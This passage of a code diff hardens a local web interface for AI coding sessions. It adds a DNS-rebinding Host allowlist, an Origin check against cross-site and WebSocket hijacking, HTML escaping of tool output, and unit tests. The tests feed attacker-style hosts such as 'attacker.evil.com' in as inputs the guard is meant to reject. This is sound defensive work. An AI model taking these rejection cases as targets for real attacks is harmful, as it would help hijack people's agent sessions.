for (const suffix of DEFAULT_TRUSTED_HOST_SUFFIXES) {
|
||||
if (hostname === suffix.slice(1) || hostname.endsWith(suffix)) return true;
|
||||
}
|
||||
for (const entry of policy.allowedHosts) {
|
||||
if (entry.startsWith('.')) {
|
||||
if (hostname === entry.slice(1) || hostname.endsWith(entry)) return true;
|
||||
} else if (hostname === entry) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* True if a request's Host header is allowed. Blocks DNS-rebinding: a custom
|
||||
* domain rebound to a loopback/LAN address still carries its own name in Host,
|
||||
* which will not be in the allowlist.
|
||||
*/
|
||||
export function isAllowedRequestHost(hostHeader: string | undefined, policy: HostPolicy): boolean {
|
||||
const hostname = parseAuthorityHostname(hostHeader);
|
||||
if (!hostname) return false;
|
||||
return matchesHost(hostname, policy);
|
||||
}
|
||||
|
||||
/**
|
||||
* True if a request's Origin is allowed for a state-changing / WebSocket request.
|
||||
* A MISSING Origin is allowed: non-browser clients (curl, Claude Code hooks) omit
|
||||
* it, while browsers always attach it on cross-origin state-changing/WS requests —
|
||||
* so a forged cross-site request is caught while local automation keeps working.
|
||||
* The opaque origin 'null' (sandboxed iframe, data: URL) is rejected.
|
||||
*/
|
||||
export function isAllowedRequestOrigin(originHeader: string | undefined, policy: HostPolicy): boolean {
|
||||
if (originHeader === undefined || originHeader === '') return true;
|
||||
if (originHeader === 'null') return false;
|
||||
try {
|
||||
return matchesHost(new URL(originHeader).hostname.toLowerCase(), policy);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -802,13 +802,13 @@ Object.assign(CodemanApp.prototype, {
|
||||
const time = new Date(a.timestamp).toLocaleTimeString('en-US', { hour12: false });
|
||||
if (a.type === 'tool') {
|
||||
const toolDetail = this.getToolDetailExpanded(a.tool, a.input, a.fullInput, a.toolUseId);
|
||||
return `<div class="subagent-activity tool" data-tool-use-id="${a.toolUseId || ''}">
|
||||
return `<div class="subagent-activity tool" data-tool-use-id="${escapeHtml(a.toolUseId || '')}">
|
||||
<span class="time">${time}</span>
|
||||
<span class="icon">${this.getToolIcon(a.tool)}</span>
|
||||
<span class="name">${a.tool}</span>
|
||||
<span class="detail">${toolDetail.primary}</span>
|
||||
<span class="name">${escapeHtml(a.tool)}</span>
|
||||
<span class="detail">${escapeHtml(toolDetail.primary)}</span>
|
||||
${toolDetail.hasMore ? `<button class="tool-expand-btn" onclick="app.toggleToolParams('${escapeHtml(a.toolUseId)}')">▶</button>` : ''}
|
||||
${toolDetail.hasMore ? `<div class="tool-params-expanded" id="tool-params-${a.toolUseId}" style="display:none;"><pre>${escapeHtml(JSON.stringify(a.fullInput || a.input, null, 2))}</pre></div>` : ''}
|
||||
${toolDetail.hasMore ? `<div class="tool-params-expanded" id="tool-params-${escapeHtml(a.toolUseId)}" style="display:none;"><pre>${escapeHtml(JSON.stringify(a.fullInput || a.input, null, 2))}</pre></div>` : ''}
|
||||
</div>`;
|
||||
} else if (a.type === 'tool_result') {
|
||||
const icon = a.isError ? '❌' : '📄';
|
||||
@@ -818,7 +818,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
return `<div class="subagent-activity tool-result ${statusClass}">
|
||||
<span class="time">${time}</span>
|
||||
<span class="icon">${icon}</span>
|
||||
<span class="name">${a.tool || 'result'}</span>
|
||||
<span class="name">${escapeHtml(a.tool || 'result')}</span>
|
||||
<span class="detail">${escapeHtml(preview)}${sizeInfo}</span>
|
||||
</div>`;
|
||||
} else if (a.type === 'progress') {
|
||||
@@ -830,7 +830,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
return `<div class="subagent-activity progress${hookClass}">
|
||||
<span class="time">${time}</span>
|
||||
<span class="icon">${icon}</span>
|
||||
<span class="detail">${displayText}</span>
|
||||
<span class="detail">${escapeHtml(displayText)}</span>
|
||||
</div>`;
|
||||
} else if (a.type === 'message') {
|
||||
const preview = a.text.length > 100 ? a.text.substring(0, 100) + '...' : a.text;
|
||||
@@ -1400,7 +1400,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
return `<div class="activity-line">
|
||||
<span class="time">${time}</span>
|
||||
<span class="tool-icon">${this.getToolIcon(a.tool)}</span>
|
||||
<span class="tool-name">${a.tool}</span>
|
||||
<span class="tool-name">${escapeHtml(a.tool)}</span>
|
||||
<span class="tool-detail">${escapeHtml(this.getToolDetail(a.tool, a.input))}</span>
|
||||
</div>`;
|
||||
} else if (a.type === 'tool_result') {
|
||||
@@ -1411,7 +1411,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
return `<div class="activity-line result-line${statusClass}">
|
||||
<span class="time">${time}</span>
|
||||
<span class="tool-icon">${icon}</span>
|
||||
<span class="tool-name">${a.tool || '→'}</span>
|
||||
<span class="tool-name">${escapeHtml(a.tool || '→')}</span>
|
||||
<span class="tool-detail">${escapeHtml(preview)}${sizeInfo}</span>
|
||||
</div>`;
|
||||
} else if (a.type === 'progress') {
|
||||
|
||||
@@ -30,6 +30,7 @@ import { FastifyInstance } from 'fastify';
|
||||
import type { WebSocket } from 'ws';
|
||||
import type { SessionPort } from '../ports/session-port.js';
|
||||
import { MAX_INPUT_LENGTH } from '../../config/terminal-limits.js';
|
||||
import { isAllowedRequestHost, isAllowedRequestOrigin, type HostPolicy } from '../network-auth-policy.js';
|
||||
|
||||
/** Micro-batch interval for terminal output (ms). Short enough for low latency,
|
||||
* long enough to group Ink's rapid cursor-up redraw sequences into single frames. */
|
||||
@@ -58,8 +59,19 @@ const MAX_WS_PER_SESSION = 5;
|
||||
/** Track active WS connections per session for connection limiting. */
|
||||
const sessionWsCount = new Map<string, number>();
|
||||
|
||||
export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort): void {
|
||||
export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort, getHostPolicy: () => HostPolicy): void {
|
||||
app.get<{ Params: { id: string } }>('/ws/sessions/:id/terminal', { websocket: true }, (socket: WebSocket, req) => {
|
||||
// Reject cross-site WebSocket hijacking (CSWSH) and DNS-rebinding before doing
|
||||
// anything: the upgrade must come from an allowed Host and (when the browser
|
||||
// sends one — it always does for WS) a same-site Origin. Writing to this socket
|
||||
// injects keystrokes into a --dangerously-skip-permissions agent, so this gate
|
||||
// matters even on the default no-password install. See security review H5.
|
||||
const policy = getHostPolicy();
|
||||
if (!isAllowedRequestHost(req.headers.host, policy) || !isAllowedRequestOrigin(req.headers.origin, policy)) {
|
||||
socket.close(4003, 'Forbidden');
|
||||
return;
|
||||
}
|
||||
|
||||
const { id } = req.params;
|
||||
const session = ctx.sessions.get(id);
|
||||
|
||||
|
||||
+41
-15
@@ -102,9 +102,9 @@ import type { EventLoopMonitorHandle } from '../utils/index.js';
|
||||
import { MAX_CONCURRENT_SESSIONS, MAX_SSE_CLIENTS } from '../config/map-limits.js';
|
||||
import { SseEvent } from './sse-events.js';
|
||||
import type { ScheduledRun } from './ports/index.js';
|
||||
import { registerAuthMiddleware, registerSecurityHeaders } from './middleware/auth.js';
|
||||
import { registerAuthMiddleware, registerSecurityHeaders, registerHostGuard } from './middleware/auth.js';
|
||||
import { installRouteErrorHandler } from './route-error-handler.js';
|
||||
import { isExplicitlyEnabled, isLoopbackBindHost } from './network-auth-policy.js';
|
||||
import { isExplicitlyEnabled, isLoopbackBindHost, buildHostPolicy, type HostPolicy } from './network-auth-policy.js';
|
||||
import {
|
||||
registerPushRoutes,
|
||||
registerTeamRoutes,
|
||||
@@ -531,6 +531,14 @@ export class WebServer extends EventEmitter {
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Current Host/Origin allowlist policy. Read per request so a tunnel started at
|
||||
* runtime (PUT /api/settings) is reflected without a restart.
|
||||
*/
|
||||
private getHostPolicy(): HostPolicy {
|
||||
return buildHostPolicy(this.host, this.tunnelManager.getUrl());
|
||||
}
|
||||
|
||||
private async setupRoutes(): Promise<void> {
|
||||
// multipart/form-data: parser is provided by @fastify/multipart (registered
|
||||
// below). Its parser is a no-op marker that leaves the body on req.raw, so
|
||||
@@ -547,6 +555,11 @@ export class WebServer extends EventEmitter {
|
||||
// Cookie plugin (needed for auth session tokens)
|
||||
await this.app.register(fastifyCookie);
|
||||
|
||||
// Anti-DNS-rebinding Host allowlist + cross-site (CSRF) Origin guard. Registered
|
||||
// before auth so forged cross-site / rebound requests are rejected up front, even
|
||||
// on the default no-password install. See docs/reports/security-review-2026-06-09.md.
|
||||
registerHostGuard(this.app, () => this.getHostPolicy());
|
||||
|
||||
// Auth middleware (Basic Auth + session cookies + rate limiting)
|
||||
const authState = registerAuthMiddleware(this.app, this.https);
|
||||
if (authState) {
|
||||
@@ -698,24 +711,28 @@ export class WebServer extends EventEmitter {
|
||||
// parseBody. Shared with the route test harness so test behavior matches prod.
|
||||
installRouteErrorHandler(this.app);
|
||||
|
||||
// Crash diagnostics beacon — frontend POSTs breadcrumbs, GET to read them
|
||||
// Crash diagnostics beacon — frontend POSTs breadcrumbs, GET to read them.
|
||||
// text/plain is used ONLY by this beacon (navigator.sendBeacon sends text/plain).
|
||||
// Keep the body as a RAW STRING and parse it inside the handler — a global
|
||||
// text/plain -> JSON parser would let a cross-site "simple request" (no CORS
|
||||
// preflight) submit JSON to any route. See security review C2.
|
||||
let _crashBreadcrumbs = '';
|
||||
this.app.addContentTypeParser('text/plain;charset=UTF-8', { parseAs: 'string' }, (_req, body, done) => {
|
||||
try {
|
||||
done(null, JSON.parse(body as string));
|
||||
} catch {
|
||||
done(null, { data: body });
|
||||
}
|
||||
done(null, body);
|
||||
});
|
||||
this.app.addContentTypeParser('text/plain', { parseAs: 'string' }, (_req, body, done) => {
|
||||
try {
|
||||
done(null, JSON.parse(body as string));
|
||||
} catch {
|
||||
done(null, { data: body });
|
||||
}
|
||||
done(null, body);
|
||||
});
|
||||
this.app.post('/api/crash-diag', (req, reply) => {
|
||||
_crashBreadcrumbs = String((req.body as { data?: string })?.data || '');
|
||||
const raw = typeof req.body === 'string' ? req.body : '';
|
||||
let data = raw;
|
||||
try {
|
||||
const parsed = JSON.parse(raw) as { data?: unknown };
|
||||
if (parsed && typeof parsed.data === 'string') data = parsed.data;
|
||||
} catch {
|
||||
/* not JSON — treat the raw beacon text as the breadcrumbs */
|
||||
}
|
||||
_crashBreadcrumbs = String(data || '');
|
||||
reply.code(204).send();
|
||||
});
|
||||
this.app.get('/api/crash-diag', (_req, reply) => {
|
||||
@@ -738,7 +755,7 @@ export class WebServer extends EventEmitter {
|
||||
registerPlanRoutes(this.app, ctx);
|
||||
registerClipboardRoutes(this.app, ctx);
|
||||
registerOrchestratorRoutes(this.app, ctx);
|
||||
registerWsRoutes(this.app, ctx);
|
||||
registerWsRoutes(this.app, ctx, () => this.getHostPolicy());
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -1699,6 +1716,15 @@ export class WebServer extends EventEmitter {
|
||||
const displayHost = this.host === '0.0.0.0' ? 'localhost' : this.host;
|
||||
console.log(`Codeman web interface running at ${protocol}://${displayHost}:${this.port}`);
|
||||
|
||||
// Anti-DNS-rebinding Host allowlist is always on. Localhost, any bare IP, the
|
||||
// bind host, *.ts.net / *.trycloudflare.com / *.cfargotunnel.com, and the active
|
||||
// managed tunnel are accepted automatically; add any other domain you front this
|
||||
// with (e.g. a custom reverse-proxy host) via CODEMAN_ALLOWED_HOSTS=host1,.suffix.
|
||||
const extraAllowed = (process.env.CODEMAN_ALLOWED_HOSTS || '').trim();
|
||||
if (extraAllowed) {
|
||||
console.log(` Host allowlist also accepts: ${extraAllowed}`);
|
||||
}
|
||||
|
||||
// Codeman binds loopback (127.0.0.1) by default, which is safe out of the box.
|
||||
// If the user opts into a non-loopback bind (e.g. --host 0.0.0.0) WITHOUT a
|
||||
// password we no longer refuse to start — that surprised people whose setups
|
||||
|
||||
@@ -0,0 +1,138 @@
|
||||
/**
|
||||
* @fileoverview Unit tests for the anti-DNS-rebinding Host allowlist + cross-site
|
||||
* Origin guard helpers in network-auth-policy.ts. Pure functions — no tmux, no
|
||||
* ports — safe to run inside a managed session.
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
parseAuthorityHostname,
|
||||
buildHostPolicy,
|
||||
isAllowedRequestHost,
|
||||
isAllowedRequestOrigin,
|
||||
type HostPolicy,
|
||||
} from '../src/web/network-auth-policy.js';
|
||||
|
||||
const loopback: HostPolicy = { bindHost: '127.0.0.1', allowedHosts: [], tunnelHost: null };
|
||||
|
||||
describe('parseAuthorityHostname', () => {
|
||||
it('strips ports', () => {
|
||||
expect(parseAuthorityHostname('localhost:3000')).toBe('localhost');
|
||||
expect(parseAuthorityHostname('127.0.0.1:3000')).toBe('127.0.0.1');
|
||||
expect(parseAuthorityHostname('evil.example.com')).toBe('evil.example.com');
|
||||
});
|
||||
it('handles IPv6 in brackets', () => {
|
||||
expect(parseAuthorityHostname('[::1]')).toBe('::1');
|
||||
expect(parseAuthorityHostname('[::1]:3000')).toBe('::1');
|
||||
});
|
||||
it('leaves bracketless IPv6 intact (does not treat colons as a port)', () => {
|
||||
expect(parseAuthorityHostname('::1')).toBe('::1');
|
||||
});
|
||||
it('returns null for empty/garbage', () => {
|
||||
expect(parseAuthorityHostname(undefined)).toBeNull();
|
||||
expect(parseAuthorityHostname('')).toBeNull();
|
||||
expect(parseAuthorityHostname(' ')).toBeNull();
|
||||
});
|
||||
it('lowercases', () => {
|
||||
expect(parseAuthorityHostname('EVIL.Example.COM')).toBe('evil.example.com');
|
||||
});
|
||||
});
|
||||
|
||||
describe('isAllowedRequestHost — anti-DNS-rebinding', () => {
|
||||
it('accepts loopback names and any IP literal', () => {
|
||||
expect(isAllowedRequestHost('localhost:3000', loopback)).toBe(true);
|
||||
expect(isAllowedRequestHost('127.0.0.1:3000', loopback)).toBe(true);
|
||||
expect(isAllowedRequestHost('[::1]:3000', loopback)).toBe(true);
|
||||
// LAN / public IP literals can't be rebinding targets, so they're allowed
|
||||
expect(isAllowedRequestHost('192.168.1.50:3000', loopback)).toBe(true);
|
||||
expect(isAllowedRequestHost('203.0.113.7', loopback)).toBe(true);
|
||||
});
|
||||
|
||||
it('REJECTS a rebound custom domain (the core attack)', () => {
|
||||
expect(isAllowedRequestHost('attacker.evil.com', loopback)).toBe(false);
|
||||
expect(isAllowedRequestHost('attacker.evil.com:3000', loopback)).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects a missing/empty Host header', () => {
|
||||
expect(isAllowedRequestHost(undefined, loopback)).toBe(false);
|
||||
expect(isAllowedRequestHost('', loopback)).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts trusted tunnel suffixes (tailscale, cloudflare)', () => {
|
||||
expect(isAllowedRequestHost('tnode.tailf80371.ts.net', loopback)).toBe(true);
|
||||
expect(isAllowedRequestHost('foo.trycloudflare.com', loopback)).toBe(true);
|
||||
expect(isAllowedRequestHost('abc.cfargotunnel.com', loopback)).toBe(true);
|
||||
// a lookalike that merely contains the suffix mid-string is rejected
|
||||
expect(isAllowedRequestHost('ts.net.evil.com', loopback)).toBe(false);
|
||||
expect(isAllowedRequestHost('eviltrycloudflare.com', loopback)).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts the configured bind host when it is a hostname', () => {
|
||||
const policy: HostPolicy = { bindHost: 'mybox.local', allowedHosts: [], tunnelHost: null };
|
||||
expect(isAllowedRequestHost('mybox.local:3000', policy)).toBe(true);
|
||||
expect(isAllowedRequestHost('other.local', policy)).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts the active managed tunnel host', () => {
|
||||
const policy = buildHostPolicy('127.0.0.1', 'https://cool-name.trycloudflare.com');
|
||||
expect(isAllowedRequestHost('cool-name.trycloudflare.com', policy)).toBe(true);
|
||||
});
|
||||
|
||||
it('honors CODEMAN_ALLOWED_HOSTS exact and .suffix entries', () => {
|
||||
const policy: HostPolicy = {
|
||||
bindHost: '127.0.0.1',
|
||||
allowedHosts: ['codeman.example.com', '.corp.internal'],
|
||||
tunnelHost: null,
|
||||
};
|
||||
expect(isAllowedRequestHost('codeman.example.com', policy)).toBe(true);
|
||||
expect(isAllowedRequestHost('host1.corp.internal', policy)).toBe(true);
|
||||
expect(isAllowedRequestHost('corp.internal', policy)).toBe(true);
|
||||
expect(isAllowedRequestHost('codeman.example.com.evil.com', policy)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isAllowedRequestOrigin — cross-site (CSRF) guard', () => {
|
||||
it('allows a MISSING origin (non-browser clients: curl, hooks)', () => {
|
||||
expect(isAllowedRequestOrigin(undefined, loopback)).toBe(true);
|
||||
expect(isAllowedRequestOrigin('', loopback)).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects a cross-site origin', () => {
|
||||
expect(isAllowedRequestOrigin('https://evil.com', loopback)).toBe(false);
|
||||
expect(isAllowedRequestOrigin('http://evil.com:8080', loopback)).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects the opaque "null" origin', () => {
|
||||
expect(isAllowedRequestOrigin('null', loopback)).toBe(false);
|
||||
});
|
||||
|
||||
it('allows same-site origins (localhost / IP / trusted suffix)', () => {
|
||||
expect(isAllowedRequestOrigin('http://localhost:3000', loopback)).toBe(true);
|
||||
expect(isAllowedRequestOrigin('http://127.0.0.1:3000', loopback)).toBe(true);
|
||||
expect(isAllowedRequestOrigin('https://tnode.tailf80371.ts.net', loopback)).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects a malformed origin', () => {
|
||||
expect(isAllowedRequestOrigin('not a url', loopback)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildHostPolicy', () => {
|
||||
it('parses CODEMAN_ALLOWED_HOSTS from env', () => {
|
||||
const prev = process.env.CODEMAN_ALLOWED_HOSTS;
|
||||
process.env.CODEMAN_ALLOWED_HOSTS = ' Foo.Example , .bar.internal ,';
|
||||
try {
|
||||
const p = buildHostPolicy('127.0.0.1', null);
|
||||
expect(p.allowedHosts).toEqual(['foo.example', '.bar.internal']);
|
||||
} finally {
|
||||
if (prev === undefined) delete process.env.CODEMAN_ALLOWED_HOSTS;
|
||||
else process.env.CODEMAN_ALLOWED_HOSTS = prev;
|
||||
}
|
||||
});
|
||||
|
||||
it('extracts the tunnel hostname from a URL', () => {
|
||||
expect(buildHostPolicy('127.0.0.1', 'https://abc.trycloudflare.com/x').tunnelHost).toBe('abc.trycloudflare.com');
|
||||
expect(buildHostPolicy('127.0.0.1', null).tunnelHost).toBeNull();
|
||||
expect(buildHostPolicy('127.0.0.1', 'garbage').tunnelHost).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -84,7 +84,7 @@ describe('ws-routes', () => {
|
||||
await app.register(fastifyWebsocket);
|
||||
|
||||
ctx = createMockRouteContext({ sessionId: 'ws-test-session' });
|
||||
registerWsRoutes(app, ctx as never);
|
||||
registerWsRoutes(app, ctx as never, () => ({ bindHost: '127.0.0.1', allowedHosts: [], tunnelHost: null }));
|
||||
|
||||
await app.listen({ port: PORT, host: '127.0.0.1' });
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user